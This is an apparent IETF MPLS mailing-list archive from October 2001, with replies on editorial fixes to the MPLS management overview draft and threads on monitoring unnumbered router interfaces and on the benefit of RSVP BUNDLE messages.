<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Okay.<br>
<br>
<blockquote type=cite cite><font size=3>References.<br>
<br>
Comment 3:<br>
&quot;4.2.&nbsp; MPLS-LSR-MIB<br>
&nbsp;&nbsp; <br>
&nbsp;&nbsp; The MPLS-LSR-MIB describes managed objects for modeling
a<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^<br>
&nbsp;&nbsp; ...&quot;<br>
<br>
Mani&gt;&gt; The reference to LSRMIB needs to be added??
</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Yes.<br>
<br>
<blockquote type=cite cite><font size=3>Comment 4:<br>
&quot;4.2.&nbsp; MPLS-LSR-MIB<br>
&nbsp;&nbsp; ...<br>
&nbsp;&nbsp; MPLS cross-connect table (mplsXCTable) in the LSR MIB.
MPLS<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^<br>
&nbsp;&nbsp; ...&quot;<br>
<br>
Mani&gt;&gt; Should it be MPLS-LSR-MIB for
consistency?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Sure.<br>
<br>
<blockquote type=cite cite><font size=3>Comment 5:<br>
&quot;4.3.&nbsp; MPLS-LDP-MIB<br>
&nbsp;&nbsp; ...<br>
&nbsp;&nbsp; Distribution Protocol (LDP).<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^<br>
&nbsp;&nbsp; ...&quot;<br>
<br>
Mani&gt;&gt; Reference to RFC 3036 can be mentioned here, and
RFC3036<br>
can be added to section 8. References.<br>
<br>
Comment 6:<br>
&quot; 4.7.&nbsp; PPVPN-MPLS-VPN-MIB<br>
&nbsp;&nbsp; <br>
&nbsp;&nbsp; The PPVPN-MPLS-VPN-MIB [VPNMIB] describes managed
objects<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^^^<br>
<br>
&nbsp;&nbsp; that are used to model and manage RFC2277bis MPLS 
VPNs.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^^^<br>
&nbsp;&nbsp; ...&quot;<br>
<br>
Mani&gt;&gt; a) Reference to VPNMIB needs to be added in Section 8
References.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b) RFC2277bis - should this be
RFC2547bis??</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Typo,
yes.<br>
<br>
<blockquote type=cite cite><font size=3>Comment 7:<br>
&quot;5.2.&nbsp; Provider Provisioned Virtual Private Network MIBs<br>
&nbsp; ...<br>
&nbsp;&nbsp; MIBs, as this MIB is described above in section<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^^^<br>
&nbsp; ...&quot;<br>
<br>
Mani&gt;&gt; section &quot;4.7&quot; - needs
added.</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Thanks for
the comments.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<br>
<br>
<blockquote type=cite cite><font size=3>-----Original Message-----<br>
From:<x-tab>&nbsp;&nbsp;&nbsp;</x-tab>Cheenu Srinivasan
[SMTP:cheenu@alphion.com]<br>
Sent:<x-tab>&nbsp;&nbsp;&nbsp;</x-tab>Thursday, October 25, 2001 6:33
AM<br>
To:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>'mpls@UU.NET';
'ccamp@ops.ietf.org'<br>
Subject:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>draft-ietf-mpls-mgmt-overview-00.txt
posted<br>
<br>
I have posted draft-ietf-mpls-mgmt-overview-00.txt and it should<br>
appear on the IETF site shortly. A copy of this I-D is attached.<br>
<br>
Cheenu<br>
<br>
&gt; -----Original Message-----<br>
&gt; From: George Swallow
[<a href="mailto:swallow@cisco.com" eudora="autourl">mailto:swallow@cisco.com</a>]<br>
&gt; Sent: Tuesday, October 23, 2001 4:37 PM<br>
&gt; Subject: Re: draft-nadeau-mpls-mgmt-overview-00.txt <br>
&gt; <br>
&gt; <br>
&gt; Given that many have supported the idea and none have opposed,
the<br>
&gt; above draft is accepted as a work group draft.<br>
&gt; <br>
&gt; ...George<br>
<br>
&nbsp;&lt;&lt; File: draft-ietf-mpls-mgmt-overview-00.txt &gt;&gt;
</font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_103563196==_.ALT--



From owner-mpls@UU.NET  Thu Oct 25 14:32:01 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26812
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 14:32:01 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhm14022;
	Thu, 25 Oct 2001 18:32:25 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhm11701
	for mpls-outgoing; Thu, 25 Oct 2001 18:31:44 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmhm11694
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 18:31:40 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhl18568
	for <mpls@UU.NET>; Thu, 25 Oct 2001 18:28:22 GMT
Received: from prattle.redback.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: prattle.redback.com [155.53.12.9])
	id QQlmhl07846
	for <mpls@UU.NET>; Thu, 25 Oct 2001 18:28:40 GMT
Received: from redback.com (yoo-hoo.redback.com [155.53.12.43])
	by prattle.redback.com (Postfix) with ESMTP
	id D6E8AF2C4C; Thu, 25 Oct 2001 11:28:20 -0700 (PDT)
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: Re: Questions on unnumbered links 
In-reply-to: Mail from "Naidu, Venkata" <Venkata.Naidu@Marconi.com> 
 dated Thu, 25 Oct 2001 10:22:52 EDT
 <39469E08BD83D411A3D900204840EC5554C93F@vie-msgusr-01.dc.fore.com> 
Date: Thu, 25 Oct 2001 11:28:20 -0700
From: Naiming Shen <naiming@redback.com>
Message-Id: <20011025182820.D6E8AF2C4C@prattle.redback.com>
Sender: owner-mpls@UU.NET
Precedence: bulk


Venkata,

	Too many RFCs were cited below:-) Talking about RFCs, i just
came back from Nanog23, many vendors showing their powerful gears there,
it was interesting to read handouts of some vendors, some routers are so
powerful that not only they support both bgp3 and bgp4, but also have
full implementation of RFC1266...

	The ping to the unnumbered interface, the draft is talking about
network operation issues. It's very common for NOC engineers to ping
remote router's interface IP addresses to determine if a link is up or
down, while ping to a router's loopback cannot determine a specific
link status; a traceroute does not show which link it traverses through
if a unnumbered address is used; you can't put link's name in DNS record
if its unnumbered; if you have parallel links between two routers, if
one link is not being used, a good troubleshooting way will be to ping
the other side interface IP address of this link(this assumes showing
both sides line status up but it just does not work somehow); when a
snmp trap comes into operation center, wouldn't it be nice to see
"oc12-link2-core2-ny-dc.xyz.net just down" instead of
"core2-ny.xyz.net link 238 just down"? All being said above, unnumbered
interface is VERY useful.

thanks.

 ]Naiming:
 ]
 ]  Thanks for your comments...please look at my inline comments.
 ]
 ][sinp]
 ]->  ]    Finally, draft reads...
 ]->  ]
 ]->  ]		Note, however, that use of the IP unnumbered
 ]->  ]		option for point-to-point LAN links inherits the same 
 ]->  ]            problems as those present for serial links, i.e., not 
 ]->  ]            being able to ping or monitor a specific interface 
 ]->  ]            between routers.
 ]->  ]
 ]->  ]    Can you please explain why can't we able to ping/monitor a 
 ]->  ]    specific unnumbered interface between routers? What is 
 ]->  ]    preventing in present IP unnumbered case?
 ]-> 
 ]-> Hmm? how can you ping an unnumbered interface of a remote router
 ]-> multiple hops away? how can you be sure which path it took to reach
 ]-> the router if it has more than one interface connected?
 ]
 ]  huh...I may be missing something here or you may be missing something :)
 ]  You mean to say, you can't reach an unnumbered interface?
 ]
 ]              -------B--------
 ]              |1             |
 ]              A              D
 ]              |2             | 
 ]              -------C--------
 ]
 ]  Let us consider all the interfaces are unnumbered. But the requirement
 ]  is a router should have at least one *unique* identity in the topology
 ]  (after all we want to reach the desired router and _not_ the interface)
 ]  So, let us consider all routers assigns, their respecting loopback 
 ]  addresses to all the links.
 ]
 ]  Router A's Routing Table looks like this:
 ]       Dest      Nexthop      Outgoing intf   flags....
 ]      =================================================
 ]        D         xxxxx            1          Remote
 ]        B         xxxxx            1          Local
 ]        C         xxxxx            2          Local
 ]
 ]  After all A chooses, one of the *best* paths to reach D. i.e.,
 ]  one of the outgoing interfaces to reach D. (either intf 1 or 2)
 ]  I didn't see any problem here to reach D. More over, why does 
 ]  application care about which interface packets came on!
 ]  
 ]  As per RFC1122 *weak end system model* doesn't care about 
 ]  interfaces to IP address matching.
 ]
 ]  As per RFC1812 is considered, my understanding is, *unnumbered 
 ]  interface* still has a valid IP address but is not *unique*!
 ]
 ]--Venkata Naidu

- Naiming


From owner-mpls@UU.NET  Thu Oct 25 14:42:42 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27106
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 14:42:41 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhm29668;
	Thu, 25 Oct 2001 18:43:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhm12816
	for mpls-outgoing; Thu, 25 Oct 2001 18:42:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmhm12811
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 18:42:27 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmhm27181
	for <mpls@uu.net>; Thu, 25 Oct 2001 18:42:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmhm20266
	for <mpls@uu.net>; Thu, 25 Oct 2001 18:41:52 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA23446 for <mpls@uu.net>; Thu, 25 Oct 2001 14:42:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA07631 for mpls@uu.net; Thu, 25 Oct 2001 14:42:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmhm12728
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 18:41:06 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhm22733
	for <mpls@uu.net>; Thu, 25 Oct 2001 18:40:50 GMT
Received: from mail.alphion.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.alphion.com [12.34.209.78])
	id QQlmhm28778
	for <mpls@uu.net>; Thu, 25 Oct 2001 18:41:09 GMT
Received: by OPTONT with Internet Mail Service (5.5.2653.19)
	id <VNBF3QM5>; Thu, 25 Oct 2001 14:58:08 -0400
Message-ID: <176689DD1922D511ABE10001022E4DF229C6D2@OPTONT>
From: Cheenu Srinivasan <cheenu@alphion.com>
To: "'manis@futsoft.com'" <manis@futsoft.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Date: Thu, 25 Oct 2001 14:58:03 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

> Please find below my comments on the draft.

That was really quick! The corrections you pointed out will
show up in the next revision. One comment.

> Comment 3:
> "4.2.  MPLS-LSR-MIB
>    
>    The MPLS-LSR-MIB describes managed objects for modeling a
>                ^^^^^^^^
>    ..."
> 
> Mani>> The reference to LSRMIB needs to be added?? 

Its already there (the 2nd reference).

Cheenu



From owner-mpls@UU.NET  Thu Oct 25 14:48:59 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27348
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 14:48:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhn02284;
	Thu, 25 Oct 2001 18:48:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhn13543
	for mpls-outgoing; Thu, 25 Oct 2001 18:48:41 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmhn13519
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 18:48:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhn10025
	for <mpls@uu.net>; Thu, 25 Oct 2001 18:46:44 GMT
Received: from tenornetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQlmhn08768
	for <mpls@uu.net>; Thu, 25 Oct 2001 18:47:03 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9PIkh002062
	for <mpls@uu.net>; Thu, 25 Oct 2001 14:46:43 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          THU, 25 Oct 2001 14:46:44 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <404WQJ45>; Thu, 25 Oct 2001 14:46:44 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E5659A29A@newman.tenornet.com>
From: "Arvind, K" <arvind@tenornetworks.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Cc: "Arvind, K" <arvind@tenornetworks.com>
Subject: RFC2961 BUNDLE message
Date: Thu, 25 Oct 2001 14:46:37 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Does the BUNDLE message offer any real benefit in terms of reducing control
overhead? There seems to be no significant change in the overall amount of
control traffic that is generated or processed as a result of bundling (even
though the traffic is bunched together resulting in fewer (but larger)
messages). Does this mechanism really help in scaling RSVP?  Could someone
throw light on this? Thanks.

Regards,
Arvind.



From owner-mpls@UU.NET  Thu Oct 25 15:09:36 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27848
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 15:09:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmho16718;
	Thu, 25 Oct 2001 19:10:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmho03529
	for mpls-outgoing; Thu, 25 Oct 2001 19:09:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmho03464
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 19:09:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmho05884
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:05:50 GMT
Received: from calliope1.fm.intel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns01.fm.intel.com [132.233.247.10])
	id QQlmho11493
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:06:08 GMT
Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110])
	by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id TAA08707
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:05:49 GMT
Received: from fmsmsx29.FM.INTEL.COM ([132.233.42.29])
 by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001102512060208824
 ; Thu, 25 Oct 2001 12:06:02 -0700
Received: by fmsmsx29.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <VBCGHH1P>; Thu, 25 Oct 2001 12:05:57 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA128@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Arvind, K'" <arvind@tenornetworks.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: RFC2961 BUNDLE message
Date: Thu, 25 Oct 2001 12:07:49 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

One thing it saves is the IP header, since multiple RSVP message will be
packed into one.

If the question is, by the Bundle message itself, helps the scaling problem.
IMO, not a whole lot.

- Mark

> -----Original Message-----
> From: Arvind, K [mailto:arvind@tenornetworks.com]
> Sent: Thursday, October 25, 2001 11:47 AM
> To: 'mpls@uu.net'
> Cc: Arvind, K
> Subject: RFC2961 BUNDLE message
> 
> 
> Does the BUNDLE message offer any real benefit in terms of 
> reducing control
> overhead? There seems to be no significant change in the 
> overall amount of
> control traffic that is generated or processed as a result of 
> bundling (even
> though the traffic is bunched together resulting in fewer (but larger)
> messages). Does this mechanism really help in scaling RSVP?  
> Could someone
> throw light on this? Thanks.
> 
> Regards,
> Arvind.
> 


From owner-mpls@UU.NET  Thu Oct 25 15:30:33 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28129
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 15:30:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhq15695;
	Thu, 25 Oct 2001 19:30:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhq05961
	for mpls-outgoing; Thu, 25 Oct 2001 19:30:19 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmhq05952
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 19:30:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhq06296
	for <mpls@uu.net>; Thu, 25 Oct 2001 19:30:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmhq20299
	for <mpls@uu.net>; Thu, 25 Oct 2001 19:30:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA00327 for <mpls@uu.net>; Thu, 25 Oct 2001 15:30:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id PAA11392 for mpls@uu.net; Thu, 25 Oct 2001 15:30:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmhp05788
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 19:28:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhp01348
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:27:27 GMT
Received: from ce-nfs-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ce-nfs-1.cisco.com [171.68.227.69])
	id QQlmhp16047
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:27:46 GMT
Received: from YHASAN-W2K5.cisco.com (sjck-dial-gw5-240.cisco.com [10.19.238.241])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id MAA00240;
	Thu, 25 Oct 2001 12:27:13 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011025121200.02cbce58@ce-nfs-1.cisco.com>
X-Sender: yhasan@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Oct 2001 12:27:07 -0700
To: "Feng, Mark" <m_feng@trillium.com>
From: Yousuf Hasan <yhasan@cisco.com>
Subject: RE: RFC2961 BUNDLE message
Cc: "'Arvind, K'" <arvind@tenornetworks.com>, "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <F1CE15E08172D4119247009027AE9D500C7CA128@FMSMSX37>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 12:07 PM 10/25/2001 -0700, Feng, Mark wrote:
>One thing it saves is the IP header, since multiple RSVP message will be
>packed into one.

The Summary Refresh helps solve the scaling issue a little more, but it can only be used for messages in steady state.  
Thanks

-Yousuf 



>If the question is, by the Bundle message itself, helps the scaling problem.
>IMO, not a whole lot.
>
>- Mark
>
>> -----Original Message-----
>> From: Arvind, K [mailto:arvind@tenornetworks.com]
>> Sent: Thursday, October 25, 2001 11:47 AM
>> To: 'mpls@uu.net'
>> Cc: Arvind, K
>> Subject: RFC2961 BUNDLE message
>> 
>> 
>> Does the BUNDLE message offer any real benefit in terms of 
>> reducing control
>> overhead? There seems to be no significant change in the 
>> overall amount of
>> control traffic that is generated or processed as a result of 
>> bundling (even
>> though the traffic is bunched together resulting in fewer (but larger)
>> messages). Does this mechanism really help in scaling RSVP?  
>> Could someone
>> throw light on this? Thanks.
>> 
>> Regards,
>> Arvind.
>> 



From owner-mpls@UU.NET  Thu Oct 25 15:46:04 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28352
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 15:46:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhr18401;
	Thu, 25 Oct 2001 19:46:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhr07135
	for mpls-outgoing; Thu, 25 Oct 2001 19:45:49 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmhr07130
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 19:45:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhr09194
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:45:20 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmhr16940
	for <mpls@UU.NET>; Thu, 25 Oct 2001 19:45:39 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA21058
	for <mpls@UU.NET>; Thu, 25 Oct 2001 15:45:17 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id PAA15534
	for <mpls@UU.NET>; Thu, 25 Oct 2001 15:45:17 -0400 (EDT)
Message-ID: <3BD86BE6.5EC53486@marconi.com>
Date: Thu, 25 Oct 2001 15:45:42 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: RFC2961 BUNDLE message
References: <4.3.2.7.2.20011025121200.02cbce58@ce-nfs-1.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Yousuf Hasan wrote:
>
> The Summary Refresh helps solve the scaling issue a little more,
> but it can only be used for messages in steady state.

Which is the point of refresh reduction.  If your state is changing,
then you need to modify state, not refresh it.

All protocols experience high load when things are rapidly changing. 
The only solution to that problem is to not process packets as fast as
you might otherwise be able to.  Which is what happens (among other
things) when damping is used to minimize the effect of rapid route
flapping in routing protocols.

-- David


From owner-mpls@UU.NET  Thu Oct 25 16:38:48 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29761
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 16:38:48 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
